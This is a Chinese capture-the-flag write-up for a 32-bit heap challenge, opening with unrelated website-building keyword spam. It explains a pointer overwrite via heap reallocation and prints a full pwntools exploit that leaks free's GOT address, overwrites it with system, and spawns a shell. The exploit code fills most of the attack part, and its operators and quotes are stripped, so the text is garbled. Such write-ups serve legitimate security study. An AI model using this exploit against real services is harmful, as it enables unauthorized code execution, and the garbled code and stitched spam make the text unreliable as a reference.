广州官网建站,网站需要怎么做,阿里云建站文章搜索,wordpress读写分离配置又是一道堆题#xff0c;先看保护 关键信息是32位#xff0c;没开pie
直接看ida 大致是alloc创建堆块#xff0c;free释放堆块#xff0c;show查看堆块内容#xff0c;fill填充堆块内容
其他的都没啥关键的要讲#xff0c;但alloc那里非常需要解析一下 解释如上图
再具…又是一道堆题先看保护 关键信息是32位没开pie
直接看ida 大致是alloc创建堆块free释放堆块show查看堆块内容fill填充堆块内容
其他的都没啥关键的要讲但alloc那里非常需要解析一下 解释如上图
再具体一点就是 我们输入的字节大小堆块地址相邻0x80堆块的地址时会被强制退出
必须要 我们输入的字节大小堆块地址相邻0x80堆块的地址
那就意味这即便你填充到极限大小即使下面有加1你也没法修改相邻堆块的堆头size
解题思路
上面我们提到程序限制输入字节大小的手段但是这个判断条件很特殊必须要是相邻的堆块才能这么判断但当我们先创建任意大小的两个堆块再free掉堆块0再申请一个0x80大小的堆块这时候我们申请的0x80大小的堆块就会申请到原来相邻的程序自动创建的0x80大小的堆块。可这时系统申请的堆块就没法与我们创建的0x80大小的堆块相邻了因为这时我们申请的堆块相邻已经有堆块了所以他就会往下找空间去存放程序创建的0x80堆块了。
而这时我们可以填充的字节大小就会变大很多足以覆盖下一个我们自己申请的堆块的相邻程序自动创建堆块里存放的堆块指针
有点绕简单点来说就是覆盖堆块1的指针把他改为free的got地址这样打印free的got地址与替换free的got表里的内容为system就可以一步到位了
完整exp
from pwn import*
from LibcSearcher import*
context(log_leveldebug)
pprocess(./fs)
#premote(node5.buuoj.cn,29284)
free_got0x804B010def alloc(description,size,context):p.sendlineafter(bAction:,str(0))p.sendlineafter(bsize of description:,str(description))p.sendlineafter(bname:,baa)p.sendlineafter(btext length:,str(size))p.sendlineafter(btext:,context)
def free(index):p.sendlineafter(bAction:,str(1))p.sendlineafter(bindex,str(index))
def show(index):p.sendlineafter(bAction:,str(2))p.sendlineafter(bindex,str(index))
def fill(index,size,context):p.sendlineafter(bAction:,str(3))p.sendlineafter(bindex,str(index))p.sendlineafter(btext length:,str(size))p.sendlineafter(btext:,context)alloc(0x8,0x8,bbb) #这仨堆块大小没太大限制当然越少越好计算就行
alloc(0x10,0x8,bbb) #这里填入的两个字节大小有点绕其实他后一个大小是用到了填充堆块的那个函数
alloc(0x10,0x8,b/bin/sh\x00)
free(0)
payloadp32(0)*33p32(0x19)p32(0)*5p32(0x89)p32(free_got) #注意这里不要破坏已有的堆块结构
alloc(0x80,len(payload),payload) #这里要是0x80大小
print(len(payload))
show(1)
free_addru32(p.recvuntil(b\xf7)[-4:])
print(free_addr)
libcLibcSearcher(free,free_addr)
libcbasefree_addr-libc.dump(free)
systemlibcbaselibc.dump(system)
payloadp32(system) #因为堆块1的指针被替换成free_got所以编辑堆块1就是修改free的got表里的内容
fill(1,len(payload),payload)
free(2) #相当于运行system(/bin/sh)
p.interactive()
补充点1创建堆块alloc那里刚开始看可能有点绕解释一下就是name是啥不重要前一个大小其实就是我们要申请的堆块大小后面那一个大小是我们要填充堆块的内容的大小那个bbb就是我们要填充堆块内容的地方